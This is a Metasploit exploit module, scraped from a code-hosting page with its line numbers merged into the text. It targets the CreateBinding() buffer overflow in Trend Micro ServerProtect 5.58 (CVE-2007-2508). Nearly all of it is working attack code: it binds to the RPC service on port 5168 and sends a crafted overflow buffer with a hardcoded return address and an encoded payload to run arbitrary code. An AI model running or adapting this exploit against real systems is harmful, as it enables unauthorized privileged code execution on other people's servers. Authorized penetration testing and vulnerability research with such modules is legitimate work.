Path: blob/master/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb
21633 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Trend Micro ServerProtect 5.58 CreateBinding() Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060.17By sending a specially crafted RPC request, an attacker could overflow the18buffer and execute arbitrary code.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23['CVE', '2007-2508'],24['OSVDB', '35790'],25['BID', '23868'],26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'thread',30},31'Payload' => {32'Space' => 800,33'BadChars' => "\x00",34'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",35},36'Platform' => 'win',37'Targets' => [38[ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x65675aa8 } ], # pop esi; pop ecx; ret - StRpcSrv.dll39],40'DefaultTarget' => 0,41'DisclosureDate' => '2007-05-07',42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options([ Opt::RPORT(5168) ])51end5253def exploit54connect55handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])56print_status("Binding to #{handle} ...")5758dcerpc_bind(handle)59print_status("Bound to #{handle} ...")6061filler = rand_text_alpha(360) + Rex::Arch::X86.jmp_short(6) + make_nops(2)62filler << [target.ret].pack('V') + payload.encoded63filler << rand_text_english(1400 - payload.encoded.length)6465len = filler.length6667sploit = NDR.long(0x001f0002) + NDR.long(len) + filler + NDR.long(len)6869print_status("Trying target #{target.name}...")7071begin72dcerpc_call(0, sploit)73rescue Rex::Proto::DCERPC::Exceptions::NoResponse74end7576handler77disconnect78end79end808182